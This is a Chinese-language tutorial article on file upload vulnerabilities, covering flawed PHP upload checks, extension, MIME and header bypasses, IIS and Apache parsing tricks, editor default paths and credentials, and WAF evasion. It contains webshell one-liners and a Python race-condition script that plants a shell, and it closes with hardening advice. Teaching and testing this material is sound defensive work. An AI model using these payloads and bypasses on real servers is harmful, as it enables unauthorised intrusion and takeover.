作者:Anthem
來源:信安之路(ID:xazlsec)
前言
文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得服務器權限最快最直接。但是想真正把這個漏洞利用好卻不那么容易,其中有很多技巧,也有很多需要掌握的知識。俗話說,知己知彼方能百戰不殆,因此想要研究怎么防護漏洞,就要了解怎么去利用。
特點
- 利用簡單
- 危害大
產生原因
缺少必要的校驗
代碼審計
基礎
關于PHP中$_FILES數組的使用方法
$_FILES\[‘file’][‘name’] 客戶端文件名稱
$_FILES\[‘file’][‘type’] 文件的MIME類型
$_FILES\[‘file’][‘size’] 文件大小 單位字節
$_FILES\[‘file’][‘tmp_name’] 文件被上傳后再服務器端臨時文件名,可以在php.ini中指定
需要注意的是在文件上傳結束后,默認的被儲存在臨時文件夾中,這時必須把他從臨時目錄中刪除或移動到其他地方,否則,腳本運行完畢后,自動刪除臨時文件,可以使用copy或者*move_uploaded_file兩個函數
程序員對某些常用函數的錯誤認識
這些函數有:empty()、isset()、strpos()、rename()等,如下面的代碼:
#!php
if($operateId == 1){
$date = date("Ymd");
$dest = $CONFIG->basePath."data/files/".$date."/";
$COMMON->createDir($dest);
//if (!is_dir($dest)) mkdir($dest, 0777);
$nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
}
if(empty($msg)){
$filename = getmicrotime().'.'.$nameExt;
$file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
$filename = $dest.$filename;
if(empty($_FILES['Filedata']['error'])){
move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
}
if (file_exists($filename)){
//$msg = 1;
$msg = $file_url;
@chmod($filename, 0444);
}else{
$msg = 0;
}
}
$outMsg = "fileUrl=".$msg;
$_SESSION["eoutmsg"] = $outMsg;
exit;
}
我們來看上面的這段代碼,要想文件成功的上傳, if(empty($msg)) 必須為True才能進入if的分支,接下來我們來看empty函數何時返回True,看看PHP Manual怎么說,如圖

很明顯,""、0、"0"、NULL、FALSE、array()、var $var; 以及沒有任何屬性的對象都將被認為是空的,如果var為空,則返回True。 非常好,接下來我們往回看,有這樣的幾行代碼
#!php
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
}
看見沒有,即使我們上傳類似shell.php的文件,雖然程序的安全檢查把msg)后,仍然返回True,于是我們利用這個邏輯缺陷即可成功的上傳shell.php。
程序員對某些常用函數的錯誤使用
這些函數有iconv()、copy()等,如下面的這段代碼(摘自SiteStar)
#!php
public function img_create(){
$file_info =& ParamHolder::get('img_name', array(), PS_FILES);
if($file_info['error'] > 0){
Notice::set('mod_marquee/msg', __('Invalid post file data!'));
Content::redirect(Html::uriquery('mod_tool', 'upload_img'));
}
if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])){
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
if(file_exists(ROOT.'/upload/image/'.$file_info["name"])){
$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
}
if(!$this->_savelinkimg($file_info)){
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
//...
}
private function _savelinkimg($struct_file){
$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);
move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}
我們再來看看這段代碼, img_create()函數的邏輯非常嚴密,安全檢查做的很到位。然而問題出在了_savelinkimg()函數,即在保存文件的前面程序員錯誤的使用了iconv()函數,并且文件名經過了此函數,為什么是錯用了呢?因為啊 iconv函數在轉碼過程中,可能存在字符串截斷的問題:
在iconv轉碼的過程中,utf->gb2312(其他部分編碼之間轉換同樣存在這個問題)會導致字符串被截斷,如:$filename="shell.php(hex).jpg";(hex為0x80-0x99),經過iconv轉碼后會變成$filename="shell.php ";
所以,經過iconv 后$struct_file['name'])為shell.php,于是我們利用這個邏輯缺陷可以成功的上傳shell.php(前提是上傳的文件名為shell.php{%80-%99}.jpg)。
歷史經典漏洞再次爆發
條件競爭漏洞,這類歷史經典漏洞在逐漸淡出人們視線的時候,再次爆發..
接著看下面這段代碼(摘自某VPN系統)
#!php
<?
if($_POST['realfile']){
copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile']){
unlink($_POST["path"]);
}
?>
上述代碼的邏輯表面上看起來是這樣的(對于攻擊者來說):
利用copy函數,將realfile生成shell.php-→刪除掉shell.php
這樣初看起來沒辦法利用,但是仔細一想, 這段代碼其實是存在邏輯問題的,所以我們可以利用這個邏輯缺陷達到GetShell的目的。
具體利用方法:
copy成temp.php-->不斷訪問temp.php->temp.php生成shell.php->刪除temp.php
校驗方式分類&總結
- 客戶端javascript校驗(一般只校驗后綴名)
- 服務端校驗
- 文件頭content-type字段校驗(image/gif)
- 文件內容頭校驗(GIF89a)
- 后綴名黑名單校驗
- 后綴名白名單校驗
- 自定義正則校驗
- WAF設備校驗(根據不同的WAF產品而定)
校驗方式溯源
通常一個文件以HTTP協議進行上傳時,將以POST請求發送至Web服務器,Web服務器接收到請求并同意后,用戶與Web服務器將建立連接,并傳輸數據。一般文件上傳過程中將會經過如下幾個檢測步驟:

校驗方式&繞過姿勢
PUT方法
WebDAV是一種基于 HTTP 1.1協議的通信協議.它擴展了HTTP 1.1,在GET、POST、HEAD等幾個HTTP標準方法以外添加了一些新的方法。使應用程序可直接對Web Server直接讀寫,并支持寫文件鎖定(Locking)及解鎖(Unlock),還可以支持文件的版本控制。當WebDAV開啟PUT,MOVE,COPY,DELETE方法時,攻擊者就可以向服務器上傳危險腳本文件。
此時可以使用OPTIONS探測服務器支持的http方法,如果支持PUT,就進行上傳腳本文件,在通過MOVE或COPY方法改名。當開啟DELETE時還可以刪除文件。
參考:http://wiki.wooyun.org/server:httpput
客戶端校驗
JavaScript校驗
驗證代碼
<?php
//文件上傳漏洞演示腳本之js驗證
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
if (file_exists($uploaddir)) {
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
echo '文件上傳成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
}
} else {
exit($uploaddir . '文件夾不存在,請手工創建!');
}
//print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
<meta http-equiv="content-language" content="zh-CN"/>
<title>文件上傳漏洞演示腳本--JS驗證實例</title>
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upfile')[0].value;
if (file == null || file == "") {
alert("你還沒有選擇任何文件,不能上傳!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//alert(ext_name);
//alert(ext_name + "|");
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
<body>
<h3>文件上傳漏洞演示腳本--JS驗證實例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return checkFile()">
<input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
請選擇要上傳的文件:<input type="file" name="upfile"/>
<input type="submit" name="submit" value="上傳"/>
</form>
</body>
</html>
客戶端JS驗證通常做法是驗證上傳文件的擴展名是否符合驗證條件
繞過姿勢
1.通過firefox的F12修改js代碼繞過驗證 2.使用burp抓包直接提交,繞過js驗證
服務器端校驗
文件頭content-type字段校驗(服務端MIME類型檢測)
MIME類型介紹
MIME type的縮寫為(Multipurpose Internet Mail Extensions)代表互聯網媒體類型(Internet media type),MIME使用一個簡單的字符串組成,最初是為了標識郵件Email附件的類型,在html文件中可以使用content-type屬性表示,描述了文件類型的互聯網標準。
Internet中有一個專門組織IANA來確認標準的MIME類型,但Internet發展的太快,很多應用程序等不及IANA來確認他們使用的MIME類型為標準類型。因此他們使用在類別中以x-開頭的方法標識這個類別還沒有成為標準,例如:x-gzip,x-tar等。事實上這些類型運用的很廣泛,已經成為了事實標準。只要客戶機和服務器共同承認這個MIME類型,即使它是不標準的類型也沒有關系,客戶程序就能根據MIME類型,采用具體的處理手段來處理數據。
Response對象通過設置ContentType使客戶端瀏覽器,區分不同種類的數據,并根據不同的MIME調用瀏覽器內不同的程序嵌入模塊來處理相應的數據。
MIME類型格式:
類別/子類別;參數 Content-Type: [type]/[subtype]; parameter
MIME主類別:
text:用于標準化地表示的文本信息,文本消息可以是多種字符集和或者多種格式的;
Multipart:用于連接消息體的多個部分構成一個消息,這些部分可以是不同類型的數據;
Application:用于傳輸應用程序數據或者二進制數據;
Message:用于包裝一個E-mail消息;
Image:用于傳輸靜態圖片數據;
Audio:用于傳輸音頻或者音聲數據;
Video:用于傳輸動態影像數據,可以是與音頻編輯在一起的視頻數據格式。
常見MIME類型:

驗證代碼
<?php
if($_FILE['userfile']['type'] != "image/gif"){ //檢測content-type
echo "sorry,we only allow uploading GIF images";
exit;
}
else
{
echo "Upload success!";
}
?>
以上是一個簡單的服務器上傳驗證代碼,只要content-type符合image/gif就允許上傳
繞過方式
使用Burp截取上傳數據包,修改Content-Type的值,改為image/gif即可成功繞過上傳webshell
服務端文件擴展名檢測
測試代碼
<?php
$type = array("php","php3");
//判斷上傳文件類型
$fileext = fileext($_FILE['file']['name']);
if(!in_array($fileext,$type)){
echo "upload success!";
}
else{
echo "sorry";
}
?>
默認上傳后的文件保存的名字是已獲取到的名字
繞過技巧
配合Apache的.htaccess文件上傳解析漏洞
.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平臺上不存在該文件,該文件默認開啟,啟用和關閉在httpd.conf文件中配置。
有些服務器在上傳認證時沒有攔截.htaccess文件上傳,就會造成惡意用戶利用上傳.htaccess文件解析漏洞,來繞過驗證進行上傳WEBShell,從而達到控制網站服務器的目的。
首先我們編寫一個.htaccess文件。打開記事本,編寫代碼“AddType application/x-httpd-php .jpg”,然后點擊文件選中另存為,編寫文件名為.htaccess,選擇保存類型為所有文件。然后將其進行上傳。因為.htaccess是apache服務器中的一個配置文件,不在上傳的文件的黑名單之內,所以.htaccess文件是可以上傳成功。
接下來我們制造一個一句話木馬文件,如取名為yijuhua.php。因為之前上傳成功到服務器的.htaccess文件里的代碼可以讓 .jpg后綴名文件格式的文件名以php格式解析,因此達到了可執行的效果。所以我們把yijuhua.php文件的后綴名改為.jpg格式,讓.htaccess文件解析yijuhua.jpg文件里的php代碼,從而使木馬上傳成功并達到可執行的目的。
Apache站上的解析缺陷繞過上傳漏洞
Apache的解析漏洞主要特性為Apache是從后面開始檢查后綴,按最后一個合法后綴執行,整個漏洞的關鍵就是Apache的合法后綴到底是哪些,不是合法后綴的都可以被利用,所以將木馬的后綴進行修改為允許上傳的類型后,即可成功繞過驗證,最終拿到權限。
例如新建完要上傳的一句話木馬文件后命名為yijuhua.php,然后我們在文件后綴處添加上7z,就有可能繞過驗證上傳成功。也可以修改后綴名為cab、zip、bmp等,只要是允許的上傳類型都可能被上傳成功。最后通過菜刀類工具訪問即可。
IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
當我們使用的服務器都是Windows2003,并且使用的服務為IIS6.0時,就可能存在如本節所描述的漏洞。
以asp為例,先準備好一句話木馬文件,然后通過burpsuite進行抓包:

查看數據包:
其中Content-Disposition:form-data;name=”path”下面的一行為服務保存文件的相對路徑,我們把原本的 uploadimg/改為uploadimg/1.asp/;,filename="yijuhua.asp"修改為filename="yijuhua.asp/1.jpg"。如圖:

本例的知識點在于利用了IIS6.0目錄路徑檢測解析,文件的名字為“yijuhua.asp/1.jpg”,也同樣會被IIS當作ASP文件來解析并執行。
首先我們請求/yijuhua.asp/1.jpg,服務器會從頭部查找查找"."號,獲得.asp/1.jpg。然后查找"/",如果有則內存截斷,所以/yijuhua.asp/1.jpg會當做/yijuhua.asp進行解析。
上傳成功后,通過response我們可以查看到得到的文件名信息為“1.asp;14127900008.asp”,那么就可以在前面添加上uploadimg/,從而構造訪問地址為:“http://www.test.com/uploadimg/1.asp;14127900008.asp”,并通過菜刀類的工具進行訪問了。
IIS6.0站上的解析缺陷繞過上傳漏洞
此類方法與上面講的目錄解析有點類似,不同點在于是利用文件解析來達到繞過上傳的目的。
以php為例,同樣是準備好一句話木馬文件后通過burpsuite進行抓包。
查看數據包:
其中Content-Disposition:form-data;name=”path”下面的一行為服務保存文件的相對路徑,我們把原本的 uploadimg/ 改為 uploadimg/1.php; ,filename="yijuhua.php"修改為filename="yijuhua.jpg"。

本例中的知識點在于利用了IIS6.0目錄路徑檢測解析,文件的名字為“1.php;yijuhua.jpg”,也同樣會被IIS當作PHP文件來解析并執行
首先我們請求/1.php;yijuhua.jpg,然后服務器會從頭部查找查找"."號,獲得.php;yijuhua.jpg。接著查找到";",有則內存截斷,所以/1.php;yijuhua.jpg會當做/1.php進行解析。
最后類似上一節那樣,通過response我們可以查看到得到的文件名信息為“1.php;14127900008.php”,在前面添加上uploadimg/,從而構造訪問地址為:“http://www.test.com/uploadimg/1.php;14127900008.php”,并通過菜刀類的工具進行訪問。
1.使用大小寫繞過(針對對大小寫不敏感的系統如windows),如:PhP
2.使用黑名單外的腳本類型,如:php5,asa 和 cer等(IIS默認支持解析.asp,.cdx, .asa,.cer等)
能被解析的文件擴展名列表:
jsp jspx jspf
asp asa cer aspx
3.配合操作系統文件命令規則
(1)上傳不符合windows文件命名規則的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA
會被windows系統自動去掉不符合規則符號后面的內容。
(2)linux下后綴名大小寫
在linux下,如果上傳php不被解析,可以試試上傳pHp后綴的文件名。
(3)借助系統特性突破擴展名驗證,如:test.php_(在windows下,下劃線是空格,保存文件時下劃線被吃掉剩下test.php)
4.雙擴展名之間使用00截斷,繞過驗證上傳惡意代碼
0x00截斷:基于一個組合邏輯漏洞造成的,通常存在于構造上傳文件路徑的時候
test.php(0x00).jpg
test.php%00.jpg
路徑/upload/1.php(0x00),文件名1.jpg,結合/upload/1.php(0x00)/1.jpg
5.超長文件名截斷上傳(windows 258byte | linux 4096byte)
服務端檢測文件內容
配合文件包含漏洞
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬。
繞過方式:(這里拿php為例,此漏洞主要存在于PHP中)
(1)先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(2)然后再上傳一個.php的文件,內容為<?php Include(“上傳的txt文件路徑”);?>
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:
#PHP
<?php Include("上傳的txt文件路徑");?>
#ASP
<!--#include file="上傳的txt文件路徑" -->
#JSP
<jsp:inclde page="上傳的txt文件路徑"/>
or
<%@include file="上傳的txt文件路徑"%>
詳細參考:文件包含漏洞(繞過姿勢)
利用PHP特性(使用數組繞過)

file_put_contents 這個函數的第二個參數 可以是數組
然后 如果代碼里用正則匹配 bad word 的時候
對一個數組進行正則匹配沒用
服務端檢測文件頭
文件頭簡介
不同的圖片文件都有不同文件頭,如:
PNG: 文件頭標識 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件頭標識 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件標識)
GIF: 文件頭標識 (6 bytes) 47 49 46 38 39(37) 61
PHP使用getimagesize函數驗證圖片文件頭
繞過方式
繞過這個檢測只需要在惡意腳本前加上允許上傳文件的頭標識就可以了
在木馬內容基礎上再加了一些文件信息,有點像下面的結構
GIF89a
<?php phpinfo(); ?>
上傳到服務端后驗證
競爭上傳
演示代碼
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪掉,我們的利用思路是這樣的,首先上傳一個php文件,內容為:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
當然這個文件會被立馬刪掉,所以我們使用多線程并發的訪問上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的php文件,一旦我們成功訪問到了上傳的文件,那么它就會向服務器寫一個shell。利用代碼如下:
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
經過幾次嘗試后成功成功寫入shell

針對各種CMS
比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。
- PHPCMSv9.6.0任意文件上傳
針對各種編輯器漏洞
比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。
文本編輯器
常見的文本編輯器有CKEditor、eWebEditor、UEditor、KindEditor、xhEditor等,它們的功能類似且都有圖片上傳、視頻上傳、遠程下載等功能,這類文本編輯器也稱為富文本編輯器。
1 FCKeditor
下面以FCKeditor(現名為CKEditor)為例:
1、敏感信息暴漏
* 查看版本信息
/FCKeditor/editor/dialog/fck_about.html
* 默認上傳頁面
/FCKeditor/editor/filemanager/browser/default/browser.html
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
* 其他敏感文件
/FCKeditor/editor/filemanager/connectors/aspx/connector.html
/FCKeditor/editor/filemanager/connectors/asp/connector.html
/FCKeditor/editor/filemanager/connectors/php/connector.php
2、黑名單策略錯誤
FCKeditor<=2.4.3版本采用的是有弊端的黑名單策略,可以采用asa、cer等擴展名
3、任意文件上傳漏洞
FCKeditor的2.4.2及以下本本的黑名單配置信息里沒有定義類型Media,直接構造html表單就行,
在form中的action="http://22.22.22.22/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" 即可,然后上傳
2 eWebEditor
1、默認后臺
2.80以前為:ewebeditor/admin_login.asp
2.80以后為:admin/login.asp
2、默認賬號密碼
admin admin888
3、數據庫地址
默認數據庫地址
ewebeditor/db/ewebeditor.mdb
常用數據庫地址
ewebeditor/db/ewebeditor.asa
ewebeditor/db/ewebeditor.asa
ewebeditor/db/#ewebeditor.asa
ewebeditor/db/#ewebeditor.mdb
ewebeditor/db/!@#ewebeditor.asp
ewebeditor/db/ewebeditor1033.mdb
asp asa為后綴的數據庫下載下來后改為mdb
針對各種WAF
1 垃圾數據
有些主機WAF軟件為了不影響web服務器的性能,會對校驗的用戶數據設置大小上限,比如1M。此種情況可以構造一個大文件,前面1M的內容為垃圾內容,后面才是真正的木馬內容,便可以繞過WAF對文件內容的校驗;

當然也可以將垃圾數據放在數據包最開頭,這樣便可以繞過對文件名的校驗。

可以將垃圾數據加上Content-Disposition參數后面,參數內容過長,可能會導致waf檢測出錯。
2 filename
針對早期版本安全狗,可以多加一個filename

或者將filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:

3 POST/GET
有些WAF的規則是:如果數據包為POST類型,則校驗數據包內容。 此種情況可以上傳一個POST型的數據包,抓包將POST改為GET。
4 以上方式
針對WAF,以上介紹的服務器解析漏洞、文件包含漏洞等都可以嘗試繞過。
**
5 利用waf本身缺陷
刪除實體里面的Conten-Type字段

第一種是刪除Content整行,第二種是刪除C后面的字符。刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除Content-Disposition字段里的空格

增加一個空格導致安全狗被繞過案列: Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099 嘗試在boundary后面加個空格或者其他可被正常處理的字符: boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小寫

Boundary邊界不一致
每次文件上傳時的Boundary邊界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在處理的過程中并沒有嚴格要求一致的話可能會導致一個問題,兩段Boundary不一致使得waf認為這段數據是無意義的,可是容器并沒有那么嚴謹: Win2k3 + IIS6.0 + ASP

文件名處回車

多個Content-Disposition
在IIS的環境下,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,而如果waf只是取最后一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

利用NTFS ADS特性
ADS是NTFS磁盤格式的一個特性,用于NTFS交換數據流。在上傳文件時,如果waf對請求正文的filename匹配不當的話可能會導致繞過。

文件重命名繞過
如果web程序會將filename除了擴展名的那段重命名的話,那么還可以構造更多的點、符號等等。

特殊的長文件名繞過
文件名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反刪除
將下圖file1改成了file4,這樣就不會把這個文件刪除了。(JCMS漏洞)

總結
條件: 尋找一個上傳點,查看上傳點是否可用。
利用:
首先判斷是程序員自己寫的上傳點,還是編輯器的上傳功能
如果是編輯器上傳功能,goolge當前編輯器的漏洞
如果是程序員寫的上傳點
上傳一個正常的jpg圖片 查看上傳點是否可用
上傳一個正常的jpg圖片,burp攔截,修改后綴為php (可以檢測前端驗證 MIME檢測 文件內容檢測 后綴檢測)
上傳一個正常的jpg圖片,burp攔截, 00截斷 1.php%00.jpg
判斷服務器是什么類型,web服務器程序,是什么類型,版本號多少
利用解析漏洞
防護建議
- 使用白名單限制可以上傳的文件擴展(白名單比黑名單可靠多了)
- 驗證文件內容,使用正則匹配惡意代碼限制上傳
- 對上傳后的文件統一隨機命名,不允許用戶控制擴展名
- 修復服務器可能存在的解析漏洞
- 嚴格限制可以修改服務器配置的文件上傳如:.htaccess
- 隱藏上傳文件路徑。
- 升級Web Server
- 及時修復Web上傳代碼(重要)
- 不能有本地文件包含漏洞
- 注意0x00截斷攻擊(PHP更新到最新版本)
- 上傳文件的存儲目錄禁用執行權限
拓展資料
參考資料
- 文件上傳漏洞解析及繞過姿勢
- http://www.cnblogs.com/stevenwuzheng/p/5354236.html
- https://blog.csdn.net/weiwangchao_/article/details/46686505
- http://www.myh0st.cn/index.php/archives/7/
- http://rdc.hundsun.com/portal/article/627.html
- 文件上傳漏洞總結
- 文件上傳漏洞(繞過姿勢)
- http://wyb0.com/posts/file-upload-editor-upload-vulnerability/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/560/
暫無評論